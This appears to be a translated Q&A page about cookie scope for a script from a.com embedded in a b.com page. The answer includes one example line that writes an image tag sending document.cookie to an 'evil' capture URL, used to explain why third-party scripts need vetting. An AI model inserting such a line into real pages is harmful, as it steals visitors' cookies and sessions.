use*_*299 7 javascript cookies cross-domain same-origin-policy
我已经在线阅读了很多有关Cookie的内容,但是没有一个解决这个问题的方法:假设我在a.com上有一台服务器,而b.com所服务的网页在该网页中嵌入了一个脚本,该脚本位于我的服务器上:
<script src='a.com/script.js'></script>
Run Code Online (Sandbox Code Playgroud)
就设置cookie而言,该脚本可以做什么?它可以设置cookie domain=a.com吗?我想是因为脚本是从该域提供的。domain=b.com由于该页面是从该服务器提供的,是否还可以设置cookie ?
我试图弄清在从另一个主机的网页调用的脚本上下文中“第一方”和“第三方”的含义。
我认为.js文件的来源不相关。Cookie域与正在呈现的文档的域有关。
如果我访问http://www.b.com/,其中包括
<script src="http://www.a.com/some/file.js"></script>
Run Code Online (Sandbox Code Playgroud)
然后b.com信任a.com的代码以真诚行事。该代码将作为正在查看的页面的一部分执行。由于javascript代码将在浏览器中执行,因此可以b.com通过在src包含数据的文档中创建标签来从其中读取cookie 并传递数据。
例如,如果a.com的javascript文件包含
document.writeln("<img src='http://www.a.com/evil/data/capturer?" + document.cookie + "'>");
Run Code Online (Sandbox Code Playgroud)
然后,a.com的恶意网站管理员可以检查其Web服务器日志并查看b.com的cookie。
因此,问题是,如果a.com是恶意的,为什么b.com在其页面中包含a.com的代码?他们可能没有。作为Web开发人员,我们需要验证嵌入到我们网站中的任何第三方代码的可信度。
| 归档时间: |
|
| 查看次数: |
2813 次 |
| 最近记录: |